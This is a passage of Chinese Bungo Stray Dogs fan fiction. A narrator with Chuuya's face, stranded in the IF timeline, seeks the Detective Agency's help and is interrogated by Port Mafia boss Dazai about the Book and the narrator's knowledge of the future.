旁边的妹控郎还在应激, 社长的状态一直就没有放松过, 这毕竟是侦探社,他责任保护这里的社员。 但反观乱步和织田作, 他们两个, 一个精神开挂看破剧本走向, 一个字面意义开挂, 能够预知未来。 我不会让敦敦再闹起来一次的。 但我也没有暴力镇压, 不论世界线如何变化,人的本性很难改变,对待敦敦,怀柔永远比暴力更加有效。 “别害怕,还没有人知道你在这儿。”我一屁股坐到沙发上,挥了挥手, “就算是东窗事发,我觉得在太宰眼里,我的优先级也在你之上。” 这是实话,这件事就是捅到宰子面前,他最大的关注点也一定是我——有中也面孔、来自异世界的「荒霸吐」。 一转头,我对上个了乱步仿佛能看穿我灵魂的深邃眼睛。 我不自觉地吞了口唾沫,他却仿佛没有注意到我的反应,眯眯着眼睛不再看我。 敦敦心里发怵,但不知是因为我的言语,还是因为我刚才对白虎的压制,他艰难地思考片刻,竟然站到了我身后,似乎是有话想说。 只不过,有话要说也得排队,在他之前,社长率先看着我发问,“且不论你的来历身份究竟为何,到侦探社来的目的,不妨直说。” 社长很清楚,不论前面铺垫多少东西、不论我的身份究竟是敌是友,我既然到了侦探社,那必然就是有求于人。 面对社长,我也不藏着掖着,直接掏出我的老本行理由——百世不严,“我想回去,我不属于这个世界、我不属于这条时间线。说实话,我会到这里,完全是个意外,一个我自己都说不清的意外。” 从各种意义上来说,我说的都是实话。 哪怕是按照原先预设的剧本,接上过去的人设,我也是在某种意外下才进入这里的。 “不,”乱步插嘴,他看着我的表情,一眼就识破了我犹豫,“你并不是完全不知道吧?” 我苦笑一声,有些为难地叹了口气,“确实不能算是毫无线索,要我自己来说,让我掉入这个世界的力量,很可能就是能够将我送回去的力量。” “而那个力量是……?”织田作有些好奇地问。 “既然大家都是横滨人,那我就直说了——你们,听说过横滨都市传说中的‘许愿机’吗?一个非常特殊的道具。” 我没敢直接把「书」的名字说出来,虽然IF线的很多细节我已经想不起来了,但我记得关键设定里,「书」的真相不能暴露给超过两个人,否则世界线就会有崩坏的风险。 我不太确定这条IF线上是否适用这条规则,但我不敢用整个世界的安危来赌我的一句话。 “许愿机?就像仙女教母那样?这种东西竟然真的存在。”织田作眼中闪过一丝惊讶,“咲乐的书,我还以为只是童话。” 听到“书”这个字,我本能地看了过去,有些应激地绷直了背。紧接着一两秒,我才意识到,织田作说的应该是小孩儿的故事书。 我赶紧再回头,就见乱步一脸高深莫测,笑意也更浓起来。 “咳——其实还是有些区别的,它,和你想象当中的样子恐怕不尽相同。”我错开视线,重新坐正,对社长解释,“不仅是对我,它对你们的世界,也有很重要的作用。” 言尽于此,我没有再画蛇添足。 既然,在IF线的设定里,对「书」的认知广度可能会导致世界崩塌,反过来自然也便是说,「书」本身就是世界结构的一部分。 它在这个世界的地位,恐怕和在主线世界中的地位并不一样。 这意味着,我认知中的常识原本就可能存在差异。当然,即使有差异,我刚才言语之中,那样又是使用过、又是知道其作用的——几乎是就是在明言,我对这个“许愿机”的了解。 既然使用过、也如此了解,我本不该用暧昧的形容来描述「书」。可我既然如此做了,就只能说明,我是故意如此。 不需要谁来提醒,社长自己就能察觉到我的意图。 我不能明说,无非就是两种可能——要么是顾忌这个房间中的某个人,要么就是顾忌这个房间中的每一个人。 “我无法确定世界线之间的差距,但——我和那件东西之间,有过非常紧密的接触和联系。” 紧密的接触是指我曾经将「书」页藏在了自己的体内,而紧密的联系则是我这次穿越的依凭物,也是「书」页残片。 一个对应我过去穿越过的文野主世界,另一个则对应我自己的真实世界。 “对它现在之所在,我也有猜测。只是……”我微微皱眉,表现出一阵为难,“这种微妙的‘联系’,恕我不能多言。” 社长听完我的回答,迅速就做出了判断。 我说不清他究竟能想到多少,但我猜他算是暂时认同了我的立场。 直观表现就是,他没有穷追不舍地提问,而是和乱步对视了一眼,接着微微颔首,“侦探社不会过问委托人私事。” 我这个人可是很有眼色的,社长都这样说了,我哪里还能听不明白他的意思。我直接站起来,非常正式地朝他鞠了一躬,“请帮我找到回去的路,让我回到自己的世界,这是我正式的委托。” “你的委托,侦探社接了。” 第67章 不愧是社长, 轻易就接受了我的设定。看来异次元穿越不仅仅是在漫画外流行,在漫画内也很热门的嘛。 我没有明说「书」的存在,但我却觉得, 这东西很难真的成为一个秘密。 看IF线的漫画时没有细想过, 但如今身处其中、直面乱步和社长之后,我越发强烈地意识到,IF线世界本身, 就存在巨大的漏洞。 若「书」真的是世界基石的一部分,那其存在时间必然久远——就像天元和宿傩大爷都是咒术机制的基石一样,无论如何都很难掩藏。 诚然,宰子是个极端聪明的人, 但这个世界上, 也不止有他一个聪明人——论早有种田长官和夏目老师;论对世界内情的追逐,有社长和老森头;论循蛛丝马迹推理,又有乱步。 可就是没有任何其他人知道「书」的存在——甚至连「书」的概念都不知道,很大程度就说明,其存在本身就有问题。 几乎是一种自相矛盾的悖论。 我能够想到的唯一一种解释, 就是刻意维护。 像是宰子首先发现了「书」的存在, 那么他就要为了维护世界的稳定,而避免让两个以上的人知晓这件事。 但, 这个结论依然存在极端的意外性。 毕竟, 想要完美达成IF线索的开端,需要对赌的东西就已经太多了。 首先, 就要确保第一个发现「书」秘密的人, 是个有能力掌控大局的人, 同时还要再赌一次此人的心性。说实话, 在我认识的人里, “聪明人”这三个字通常都对应着一些奇怪的癖好或是脑回路。 单是这个“首先”就足以让这个世界随时崩塌,更别提从夏目老师到森先生,再到乱步、社长,这些人要对「书」之一切全无察觉才行。 否则,一旦有线索,他们就可能会不遗余力地思考——和“行为”这个有实际动作的概念不同,“思考”的过程是无法被阻止的。 除非,宰子能做好杀掉所有人的准备。 显然,IF线中的宰子也没有丧心病狂到这个地步。 所以,我自来到这个世界之后,便始终无法理解这个世界的运行机制——总觉得哪里怪怪的。 如果这个谜团无法解开,我就很难真正触及到这个世界「书」的本质。 我没有长时间待在侦探社中,而是抓紧时间把敦敦捞到了野外,想要再试一试白虎的力量。 敦敦的情绪非常纠结,我能感觉到,理智上的他想要尽快返回港|黑负荆请罪,但脖颈上毫无桎梏的感觉又让他留恋。 想也知道,那么痛的锥刺,有谁会真的希望一直插在自己的脖颈上呢? 他寄希望于用疼痛来阻止异能力的失控,可到了我面前他发现,我似乎有控制白虎的能力——这不得不让他心怀希望,抑制不住地想要多留一会儿、再留一会儿,也许下一秒就能知道答案了呢? 为什么只有他的异能力,如此容易失控。 横滨郊外的森林之中,敦敦的衣服整齐地叠在树角——准确地来说,那是贤治挂在侦探社的衣服,社长总不能看着敦敦一直裸在社内,实在有碍观瞻。 他甚少有这样主动白虎化的时候,更少有的是,当他白虎化时,自己还能有意识。 那杆从我手背穿下去的微型斗尖荒霸吐,似乎仍有效果,我能够清晰地感知到白虎的情绪牵动。 略微压制一下这个情绪的主人,就能让敦敦在白虎体内的天人交战里,占据一点上风。 敦敦之所以无法控制白虎,就是因为虎化完全释放了这个有自主意识的特、殊异能力本身的精神力。 而自小在孤儿院中被养成的怯懦性格和记忆中院长老师营造的“白虎”可怕的身份,都让敦敦自己难以和白虎的精神力抗衡,所以才会出现这种,异能力操纵异能力者的情况。 主从关系的转变,让敦敦从异能力的主人,变成了异能力的载体。 但,当我的力量足以跨过敦敦,单独压制白虎之时,他才第一次有了控制自己异能力的机会。 能够看得出来,他完全不适应这种四脚着地的行动方式。 我朝他招手,示意他攻过来,可谁知他左脚绊右脚、前脚绊后脚,就这样直直地摔在了我面前。 好不容易站起来了,尾巴却没有掌控好平衡,身体一个摇晃,猛撞在树上。 “咔嚓”一声,粗壮的树干被懒腰折断。 “那个啊,敦——你,是真的一次都没有感受过白虎的视角吗?”我捂着头,一脸不堪入目。 敦敦慌张之中,仿佛有了主线敦的影子,慌乱地张嘴,想要说些什么。但那张血盆大口在我面前张开,却只是用力地吼出了声—— “嗷”——! 震得我的耳朵生疼。 老虎怎么可能会说人话? “噗——”森林之中,不知是谁忍俊不禁,捂着嘴似乎坚持了几秒,却很快张扬地笑了出来,“哈哈哈哈哈哈!” 好熟悉的声音。 是你,Mamo! 这个声音实在太有辨识度,我这神之一耳,一下就听了出来。 “太宰。” 我没有回头,只看敦敦瞬间瑟缩的模样就知道,我的猜测没有错。 IF宰的形象在敦敦心里究竟有多可怕,竟然能让白虎形态都夹着尾巴,瑟瑟发抖。 宰子!你最好自我反省一下! 一只手从后面搭在了我脖颈后,我的第一个感觉是瘦——宰子原本就不是什么肌肉强健的设定,但这双手骨节分明,其丰满程度甚至远不能和主线武侦宰相提并论。 第二感觉就是白——不是苍白是惨白,这只手几乎没有一点温度,仿佛是他的心脏衰弱,供血完全无法到达血管末梢似的。 「人间失格」在皮肤与皮肤的接触中瞬发,一种微妙的隔绝感在我皮肤表皮显现,但却无法在事实上真的无效化我的能力。 我上一次穿越文野的人设相当完整,「斗尖荒霸吐」的力量在某种程度上和爱手艺的克夫克拉夫特一样,是超越者规格以上的能力,「人间失格」的能力根本无法从外部对我起效。 当然,我猜宰子的目的大概就是试探一下。 敦敦的尾巴依然垂在两腿之间,这就足以证明,我对白虎的压制没有消失。 宰子得到了自己想看到的答案,便将手松了下来。 “这样的敦,我也是第一次见。”宰子终于上前并肩到了我身旁,我终于看到了他的模样。和我想象当中不同,他没有穿自己的黑袍红巾,而是一身笔挺的西装——白衬衣、黑马甲,他仿佛是故意脱掉了那能够表明他身份的装束,“就这么怕我吗?” 宰子咧嘴一笑,但那空洞的瞳孔陪着空洞的笑,简直能引发恐怖谷效应,就像是有人把一团黑泥塞到了人的皮囊里一样。 “别说是敦,就是我看了都瘆人。”我一伸手,撩开了宰子额前的碎发,“你不离开港|黑的话,竟然会变成这副模样啊,嘶——还不如武装侦探社的乐子人。” 我并不避讳在他的面前提到另一个世界。 面对他这样的黑泥,直球永远比遮遮掩掩要好用得多。 太宰治的眼神中果然露出了几分兴味,“在这里看到我,不意外吗?” “如果你没有出现,我才会觉得意外。”我耸了耸肩,“难道我出现在这个世界,会是一个意外吗?” 我仔细想过了,我那个小小穿越司虽然各方面都不完善,但穿越在有锚定物的情况下还会歪线,绝对不是意外。 我不信我的运气能差到这个地步。 那若说是有个人能搞鬼的话,就只可能是拥有「书」的IF宰。 宰子手下,没有真正的意外和巧合。 当然,我并不完全确定,但试探一下,总归没有坏处。 “你知道在横滨的地界上试探我,会有什么后果吗?” 我没有掩饰,宰子自然也不会意识不到我的话术。 我“嘿嘿”一笑,没有回答,而是继续反问,“那在横滨这个仇家遍布的地界上,你一个人偷溜出来,有想过会有什么后果吗?” “后果啊——你是指谁?那些不成器的组织,还是那些一言难尽的脑子?”宰子一脸无所畏惧,他从来不把仇敌放在眼睛里。 更何况,他已经很多年没有离开过港|黑大楼、很久没有真正露过面了。 更多的人只会认识他那一身标志性的装扮,更多的人也不会想到,他连港|黑顶楼的玻璃都不曾打开过,又怎么会真的离开自己的“安全屋”。 但宰子一向如此,他从未对什么有过真正的畏惧。 当然,我指的,也不是那些仇敌。 “比如……中也?”我歪头,意有所指地看着他,“你一个人偷跑出来,中也肯定气炸了吧。” CP粉绝不认输! 宰子的身体一僵,脸色微微一变,但很快便调整过来,仿佛刚才的变脸只是我的错觉,“怎么能是偷跑呢?明明是你把我骗出来的——”他走上前来,单手勾起我的下巴,“用这张和中也一样的脸。” 好蛊的一个宰! 那双深渊般的眼睛几乎要把我困入其中。 “不是吧,又让我背锅?”我哭丧着脸,不经意地表露了些其他世界的情况,“可我要是和中也打起来了,这挚爱的横滨可就要废了——” 我刻意歪过脸,将脸上的荒纹展露在宰子眼前,仔细地观察他的反应,“你应该比任何人都清楚吧,这「荒霸吐」的破坏力。” 第68章 我的话其实算不上什么威胁, 只是单纯地陈述事实。 当然,我也承认,我的语气稍微刻薄了一些。 但这也是很正常的事, 任谁来做日常任务, 结果发现难度超级加倍,都会烦躁的——这和去参加小学考试,结果拿到卷子发现满卷的微积分有什么区别。 而且, 我刚才的反问——那个试探他是否是我坠落这个世界的罪魁祸首,宰子完全没有否认的意思,那眼神反倒像是默认了似的。 我就知道,这事儿和他脱不了关系。 若究其原因—— 我仍觉得是因为那本「书」。 万恶之源啊。 我抬眼看着宰子的表情, 不肯放过一点细节, 我的猜测需要一个一锤定音的证据。 “你和中也的战斗啊——”宰子点着下巴,被绷带包围的狭长眼睛一眯,一瞬间仿佛有红光在其中闪烁,“那确实是毁天灭地,连整个横滨都差点葬送其中, 如果没有你的牺牲——那就不是‘差点’了, 对吧。钟塔侍从的武器在「斗尖荒霸吐」面前都只是个玩具,哪怕不是刻意去破坏, 只是引海水入城, 都足以把横滨也变成一个亚特兰大。说不定几千年后人们还会再来探索我们的城市呢,那句话怎么说的来着——史前文明?” 他抑扬顿挫地说了一大段话, 临了却语气一顿, 目光转向我, 调皮地歪了歪头, “怎么样, 我的回答还合你的心意吗?” 我心脏一沉。 宰子也太敏锐了,任何试探在他面前都仿佛是一张白纸。 等等,那在他心里,我岂不是像什么跳梁小丑一样? 羞耻感爆棚。 我压了压自己的心情,赶紧安慰自己——算了算了,只要结果是好的就足够了。 虽然似乎是被嘲讽了一下,但结果向好,我的试探算是有了结果。 果然,自从我的故事成为了漫画主线的一部分后,那些在首次穿越文野时发生的事,就成为了「书」中记录的世界线故事。 宰子是通过「书」来窥探其他世界走向——尤其是主线世界走向的,那他所看到的东西,就不该是我认知当中的首领宰所看到的。 这条IF线,也并非我所熟知的那条线。 而宰子这个人,一点点微妙的变量,都会被他利用起来,造成更大的世界线偏移。 本来和宰子硬刚我就让人头痛,这下一点优势没有,我心里就更没底了。 我究竟还有没有机会从他手里讨得了好? “你看起来很惊讶?”一个晃神,宰子的脸就贴到了我面前,“不应该吧,既然试探,就说明你已经猜到了,怎么还会这么惊讶——哦,你不是在惊讶事情的进展,而是在惊讶我的变化。” 他几乎没有迟滞地自问自答,“我和你记忆中的差别很大吗?虽然这种话让我自己来说有点奇怪,但……我和‘我’还有‘我’之间真的有那么大区别?” 他指的“我”,不仅是他自己和武侦宰,还有我在主线世界里构造出来的另一条IF线。 我的天,我自己说得都有点乱了。世界意识竟然如此完备,连我的臆造的世界都在「书」中给我补全了? “不,”我一边胡思乱想着,一边也没有真的无视宰子,张口就回答了他的提问,“不论做事方法怎么变化,你们的本质都是一样的……每个人的本质都是一样的。” 宰子仿佛就是在等我说出这句话——或者说,他就是在引导我说出这句话。 “那你和中也,本质也是一样的了?” 我听他的语气,像是要我马上向他宣誓忠诚似的。 但,宰子如果想要一个人卖命,事实上是不需要这个人忠诚的。 他关注的点应该另有他处。 我仔细斟酌着每一句出口的话,认真揣摩出题者的意图——说实话,我连考试都没有这么紧张过。 迟疑了几秒,我最终还是不敢认下宰子的话,“……我是荒。” 不算肯定也不算否定,但也最为稳妥,谁知道他会给我安排个什么坑? 绝不能让我和这个世界的中也人设重合在一起。 宰子的眼神一恍,微光渗透到虹膜表层,又很快消散。 “荒,荒霸吐——”他把这两个名字放在嘴巴里细细咀嚼了一番,抬头的瞬间,语气突然就冷硬起来,“但这么危险的东西,怎么能放到别人的手里?” 就在这一抬头中,我在他的眼里看到了寒意和危险。 怎么说呢,我也是有过无数战斗经验的人了,对危险的预警和反应,几乎成为了我的本能。 我当即就是一个撤步,身体重心转移,轻盈地向后一翻—— “轰——!” 简直是炮弹落地,火光将地面炸出了一个大坑,连泥土和木枝边缘都有灼烧似的痕迹。 不,不是火光。 只是速度太快了,以至于产生了灼烧感。 或许是宿傩大爷那长篇大论的记忆终究对我产生了影响,我第一个被激起的本能竟然不是跑路而是反击。我身上红光一亮,可顿时,身上的力量仿佛受召一样,和深坑中的某些东西呼应汇聚起来,几乎瞬息就形成了风暴。 甚至是肉眼可见,深坑与我之间,凝结出了一点红色中心——我的力量几乎是不可抑制地飞向了这个中心。 深坑当中的力量也是如此。 穿过红光折射的丁达尔效应,我看到了另一双和我美瞳一样的眼睛。 能以这个速度坠地攻击的人,果然只可能是中也。 但有一说一,我第一时间其实没能反应过来是他。在中也砸我头顶的时候,我没有认出他来——为什么? 是因为他没有发出自己标志性的声音! 我懂了,IF线中也不会唱戏。 他张开嘴——一我期待地抬眼,以为迟来的戏腔要上线了,却没有想到,他反而咬住了自己的嘴唇,在阻止自己发出生理声音。 替身使者——呸,「荒霸吐」之间会相互吸引,我注意到他身上的荒纹似乎也在若隐若现,神情中的惊异比我还要清晰。 毕竟,我的人设已经和「荒霸吐」融为了一体,但他却还是无法控制那股“天灾”力量。 中也一定没有尝试过这种被召唤「荒霸吐」的感觉,我也没有想过,这两种力量相遇会有如此反应。 先前的穿越里,有「人间失格」在外沿控制着「荒霸吐」,在最终决战之前,根本就没有出现过由两个「荒霸吐」产生的特异点。 我想要收回力量,但「荒霸吐」仿佛是有自己的想法,疯狂地纠集在了一起。 不行! 不能真的把中也的力量引出来! 我倒是无所谓,但如果宰子的力量无法对失控的他起效,「荒霸吐」就会最终杀死中也这个“安全装置”。 NO,我的中也大宝贝! 电光石火之间,我灵光一闪,最能阻止这一切的脸浮现在了我的脑海之中。 我远程控制的微型斗尖荒霸吐一动,大声喊道—— “敦!” 他的力量,可以斩断异能力本身的力量,应该有机会中止特异点! 在大脑内置力量的推动,和宰子、中也这一对双上司威胁的恐惧下,敦敦的身体先思考一步,本能地亮出了爪子,扑了过来。 就像昨夜一般,那毛茸茸肉垫里刺出的爪尖上,隐隐闪烁着异常明亮的白光。 “歘!” “冷静点,中也。” 利爪破空的声音和宰子的话语重叠在一起,中心的红点被切断的同时,宰子的手也按到了中也的后颈。 「人间失格」宛若一副枷锁,白色的文字覆在中也的力量之外蔓延,甚至逆着特异点迅速拓展到了中心的截断面上,最终缠上了白虎的爪子——那粉嫩的肉垫一松,这双属于人类的手便跟着显现了出来。 可怜的敦敦,一直当背景板也就罢了,好不容易脱衣服变一次身,衣服却还是没能留住,被中也炸了个爽。 此时的他,毫无保护地摔落在地,呆呆地看着自己最恐惧的上司们——一个黑泥智力天花板,一个“异形”武力天花板。 而且他还这样水灵灵地听从了我这个外人的指挥——对港|黑来说,这种行为绝对等同于叛变。 他这瑟瑟发抖的样子,很难说究竟是因为冷,还是因为怕。 嗯,只有敦敦一个人受伤的世界达成了。 第69章 敦敦, 实惨。 但也不是完全没有好消息,至少不论是宰子还是中也,都没有精力去计较他那一点背叛行为。 他们的关注点, 都在我身上。 尤其是中也。 他盯着自己的掌心, 似乎仍能感受到那种力量不断向外涌的感觉——我几乎感同身受,不论是力量的失控,还是「荒霸吐」对本体的破坏, 我都能感同身受。 甚至包括中也这身的宝蓝色西装,是我COS都很难尝试的服装,和看图完全不同——IF中也,真!靓!仔! 红色内搭配蓝色外套, 从领带到服装的颜色饱和度都高得离谱, 非常符合中也官图的一向画风。 我都不敢想,日常穿这一身得有多死亡——还得是你,永远走在时尚前沿的中也! 宰子扯松了中也的领结,手依然压制在后颈上,帮助中也露出了脖颈一段的“绝对领域”, 甚至在这段“领域”里留下了红色的指痕。 涩气十足。 当然, 宰子很正经,他一直等到他体内的力量躁动完全平息、荒纹完全消散, 才敢放松手的力量。 好消息, 中也作为安全装置的性能仍然完备,所以宰子的「人间失格」仍能对他起效, 而且起效还挺快; 坏消息, 安全装置的性能消耗无法修复, 这意味着, 「荒霸吐」每发动一次——不论主动还是被动, 中也都会朝着失控更进一步。 这个过程是不可逆的。 不知是不是我上次穿越人设带来的衍生效果,失控的风险如此清晰,以至于连中也自己都有感知。 “果然和你说的一样,太宰。”中也直起身来,一把挥开了宰子的手,“这冒牌货一出现,体内的家伙就躁动了起来——骨骼、肌肉还有血管,力量发动时的消磨感,我和「荒霸吐」之间的‘壁’在动摇。” 说我是“冒牌货”什么的也太过分了吧? 虽然这么说好像也完全没有问题,但眼前这个IF中也,对我的敌意未免也太大了些。 我落差感这个大啊。 上次我的待遇可不是这样的——我的红酒、我的游艇、我的中也黑卡,我的团宠地位! “在此之前,你对「壁」的感知一直不够清晰。”宰子一点也不惊讶,垂眼的瞬间就将了然藏在了眼底,“就像是此前一直没有被激活一样。” “……啊?” 我一愣,缓慢地接收了宰子口中的信息,“你不会是想说,我激活了安全装置的消耗性吧?” 不要甩锅给我啊,喂! 要真是如此,那岂不是说我的存在成了中也死亡的开端? 宰子看到我突然过激的反应,眼睛一眯,“哦——你这样在意?” 中也激推当然在意! 这件事就算是不试探我,也绝对藏不住。 倒不是我的反应绝对不能伪装,而是宰子原本就通过「书」窥探到了主线进展。我不认为宰子能像看动漫或是亲身经历一样将每一个细节都观测到,「书」不可能给出详细的故事线。 否则,宰子就没有任何必要来试探我——都已经有了完整的答案还扯什么皮? 我更倾向于,「书」中记录的,只是某一个世界的“大纲”。宰子有了故事骨架,所以才会有意识地将故事的血肉填充进去。 但只要蛛丝马迹,对宰子来说也绝对足够了。 “确实,你的牺牲让人印象深刻——那是私心?”宰子音调上扬着,却并不是疑问的语气,“之前只是怀疑,但看到你之后就很确定了。你——一定还有没有说出口的目的,对吧?” 我眼睑不可控制地抽动,宰子前倾的身体和居高临下的视线不自觉地带出了压迫感。 他在气势上就直接压到了我。 不行,不能这样一直被他牵着鼻子走,我尝试将话语权夺过来,便反问道:“这很难理解吗?任谁的行动动力,都是私人的。难道你继任港|黑首领是毫无私心的吗?” “不,是完全的私心。说实话,连我自己都很难理解自己的行为,不管怎么说,去憧憬一个和自己毫不相关的未来什么的,都太无厘头了。”坦荡的宰子真是强得可怕,我一时分不清,他这是在自嘲,还是在嘲讽我。 但我没有放过这个机会,对话的过程真的很像是回合制游戏,他一句话完,我便可以接上。话语主动权就是在这种回合制中交接的。 “那现在所发生的一切呢,也是你的私心?是‘不相关未来’的一部分吗?” 这也是我最想搞清楚的问题。 我的任务难度究竟为什么要坐着火箭直升啊! “‘现在的一切’?不,你想问的是你自己,对吧?”宰子一眼就看穿了我的意图,毫不费力地就重新在这场回合制游戏里占据了上风。 没办法,不论用什么样的话术,他掌握着我最想知道的东西、拿捏着我的目的——这是事实,无法改变。 “答案是‘YES’,你想得没错,你是必要的。”宰子也没有卖关子,越过中也走上前来。 “喂,太宰,这家伙很危险!”中也很显然不愿意让宰子单独靠近我,抬手就想要阻止—— 但宰子只是一个侧头,冷硬的视线插在中也的身上,“你是打算违抗我的命令?” 中也都已经伸出去的手顿时就滞住了,瞳孔一缩,随即垂下了头。 “不……首领的命令是绝对的。” 他们的关系和主线之中完全不同。 这要是武侦宰,中也能把他的腰踢断。 但这是首领宰,地位不同。 宰子再次尝试接触了我的皮肤,大概是想看看,特异点后的我会不会受「人间失格」的影响。 当然不会。 我的身体内沿大概也是有「人间失格」异能力存在的,相同的反异能力隔着我的皮囊,某种程度上也算是抵消掉了。 至于为什么没有产生特异点——我觉得是因为「斗尖荒霸吐」人设释放后,反而将「人间失格」困在了内部。 没有直接接触,当然也就谈不上特异点的产生。 “你很特殊,也很奇怪。”宰子接下来的话震惊我一百年,“我通过「书」看到了‘未来’,不同人的未来——人的视角真是个奇怪的东西,明明是同一件事,但在不同人眼中所呈现的光景,却全然不同。可即使如此,你依然很特别,异能力、异形体、反异能力,这些元素竟然能汇聚到同一个人身上,那你这个人真正想要的是什么——只是一个身份?如果你真和西格玛一样,是「书」创造出来的生命,那这个目的便是有意义的。但你其实从最一开始就拥有‘身份’,不论费奥多尔的推测有多合理,都和真相大相径庭。” 等、等等……旁边还有人啊,敦敦和中也都在啊! 你就这么把「书」这么重要的东西直接说出来了吗?! 世界啊,你还好吗! “我不是你肚子里的蛔虫,所以我只能从结果上寻找答案。至少在你之前,我从来没有看到了「书」所记录的既定未来能够改变。”宰子眼睛漆黑一片,“可你就是突然出现在「书」中,然后带着一个又一个谜团改变了‘未来’。我才第一次真正感觉到,‘未来’不是绝对的,「书」也不是绝对,没有什么东西是不能改变的!” 我CPU都要炸了,根本没有办法在短时间内将所有信息都分析透彻,甚至连将已经有过的思考再搬过来都很困难。 我一边要赶紧接收宰子一口气喷出来的情报、考虑他这样“坦诚”的目的,另一边又要四处观察周围的环境。 世界崩塌的样子我在上个咒回世界里我就见识过了,如果「书」的二人机制被触发,那这里也会—— “啊——你,不会是在观察‘世界’吧?在好奇,为什么我这样清晰地说出了「书」的特质,但‘世界’还没有崩坏?” 我整个人一震,瞪大了眼睛,视线一瞬间聚焦在宰子身上,就看到了他歪着头,几近病态的笑——那种阴暗、兴奋、恍然大悟的复杂情绪,全部都杂糅在了一个笑里。 “诶?” CPU炸了,我应该没有跳过什么重要剧情,对吧? “如果‘未来’不会改变,那么我就不会使用这个设定。嗯,没错,所谓‘二人机制’的「书」,原本就是我创造出来的伪设定。不论是敦还是龙之介都太简单了,他们适合执行,不适合思考。头脑简单——简直是先天黑|手|党圣体。” 宰子摇了摇头,在他眼里,只怕这世上根本就没几个头脑不简单的人,在这方面被他嘲讽,真是无法让人生气,“就是因为他们太蠢了,蠢到无法消化那些信息,与其浪费时间解释给他们听,不如直接给出一个暴论,反正再蠢的人,也总有一天也会想通的……吧?” 宰子难得用上了极不确定的语气。 但此时的我根本没有情绪支撑我笑一下这种他口中的“蠢笨”二人组,因为我知道,我才是那个真正的小丑。 宰子明面上在嘲讽敦敦和芥芥,实则就是在暗讽我。 不,应该算不上暗讽,而是明嘲了。 “那句话怎么说得来着——啊,对了,是‘愿者上钩’。”宰子的笑音是从鼻腔里发出来的,“你,果然知道的吧,这个世界原本的未来。” 第70章 把透视挂关了吧, 没意思。 究竟是我有上帝视角还是你太宰治有,这种事都能轻易推理出来的吗? 你怕不是背着我偷偷看了几集动漫。 亏我还在社长和乱步面前遮遮掩掩,我真是个小丑。 他耍我和耍猴一样简单。 我越发觉得, 第一次穿越的武侦宰真是对我手下留情了, 那些背刺人设算得了什么,眼前的IF宰接连对我打出的,才是真实伤害——而且每一击都是暴击。 见面这才几分钟、穿越到此才过去多久, 我怎么觉得他连我底裤的颜色都要扒出来了? 危险,极度危险。 我全身的寒毛都竖了起来,仿佛有一阵冷风在我体内呼啸,随时能把我着假模假样的皮囊吹破, 露出我的本相来。 “知道未来?这未免也太……” 我尝试嘴硬一下, 但宰子却连话说完的机会都不给我,“不仅是这个世界的未来,就连你之前去过的那个世界的原未来,你也一定知道。甚至——不仅仅是未来,连并未在你经历中出现的过去, 你一样有所了解。” 宰子的语气坚定得让人无法撼动。 我CPU一阵狂转, 连肾上腺素都一起掺和进来,给我的反应能力加了码, 让我脱口而出, “你不也是一样的吗?” “我所知道的东西,可不敢和你比肩, ”宰子一挑眉, 谦虚的语气虚假无比, “我可没有你那样, 轻易改变未来的能力。” “改变未来哪有什么轻易不轻易的, 你的目的本质上和我没有区别,我无法改变自己的未来,但总归是给了过去‘他们’一些机会;你呢,你也并不在乎自己的未来,你想要改变的,也不是自己,而是另外一个人——或者说是一些人的未来,不是吗?” 我强迫自己冷静下来,和宰子交锋一定不能过度紧张,即使心脏都要跳出来了,面子上还得维持住这股云淡风轻。 更重要的是,宰子的怀疑不能糊弄,他既然开了口,我就必须得想办法,圆上一个答案。 保护马甲几乎成了我刻在DNA中的本能,我自认危机处理能力也算有长进,既然无法从源头保护穿越的秘密,那就干脆换个思路,将答案推到另一个方向。 宰子不是说我在窥探未来和过去吗? 但他自己明明也做着相同的事,甚至连未来改变的过程都全程观测到了——那他所用的方式方法,自然也可以是我的答案。 ——「书」。 遇事不决,就把「书」推出去背锅。 这种传说级的道具,我就不相信宰子能把它的所有功能都研究透彻! “话是这样说没错,我以「书」为引,把你拖到这个世界时确实有此考量。不论如何,你在那场战斗之中,已经是必死之局。那死后如何,就不在已经准备好赴死的你的考量中了——”宰子拖长了尾音,却冷不丁地话锋一转,“至少,在你来到这个世界之前,我确实是这样认为的。” 其实,当他后半句话说出来的时候,我就瞬间意识到了自己的破绽。 但此时才意识到,就已经迟了。 不如说,在我被迫偏航到IF线的时候,这个破绽就已经无法改变。 宰子说着捏起了我的领结,手指摩挲着衣服崭新的材质,“就算是普通的战斗,衣冠也不会在战斗后如此整洁。如果你是那场战斗后直接被「书」的通常接来的——且不说衣服,只说战斗痕迹。你那和「斗尖荒霸吐」战斗的残存威力,也会在你出现的瞬间,在这个世界留下痕迹——但我已经去看过了,你最初降临的地方,简直干净得异常。以敦的破坏力,绝对无法抹除你的降落痕迹。” 这还是当然的,我这次的穿越异常平静,当然不会留下明显的痕迹。 若真是按照我上次穿越的结尾来续剧本,那我就必将直接裸|身出击。 这种事绝不可能再发生了! 穿越真是难伺候,暴击穿越有问题,平静穿越也是破绽,还让不让人活了。 “所以我才有如此判断——在上个世界和这个世界之间,你一定还另有行程。” 宰子在“坦诚”这赛道上,简直强得可怕。 通常来说,他给人的印象应该是无限谜语人,所以我做了十足的心理准备——谜语人并不难对付,他可以打哑谜,我自然也可以不说人话。 那样的无效对话多了,反而会给我更充足的思考时间。 宰子大概就是意识到了这一点,所以才会转换策略,用如此直白的方式逼问。 他完全不担心我不回答,说实话,他都猜到这么多了,恐怕不会不知道我的真正目的。 只要宰子还拿捏着「书」,我就不得不按照他的预设走。 他的眼神无比犀利,我不得不承认,当那句“另有行程”说出来的时候,我整个人的僵硬时是完全控制不住的。 有些生理反应实在无法抑制。 这大概就是宰子最想看到的东西,我的生理反应比语言本身更具有参考价值,“而且,所谓‘穿戴整齐’不仅仅是指你服装的状态。你所穿衣服的款式、类型,还有你的准备和应对,都不是临时应急能够做出来的东西。” 先前面对乱步,我都没有这样害怕过! 宰子不讲武德,扒我马甲怎么能你这样不留情。 我意识到,这种时候嘴硬是绝对没用的。我得尽快摆脱思维定式,将武侦宰和IF首领宰彻底分成两个人来看待。 首领宰是真的一点情分都不留。 “也就是说,即使没有我,你也有要去往某个世界的行程。我的影响,充其量只能算是改变了你的原有路线,给你加了个十字路口。 但,我很确定,我自己是在第一时间就利用了「书」的性质,联通了召唤你的路径。这就说明,要么是「书」本身的时效性落后,要么就是世界之间原本就有时间缝隙和差异,又或者是——”他仿佛真是在说话间打开了思路,瞳孔有一个瞬间的放大,“在世界之间,有什么常人无法理解的‘中间地带’——” 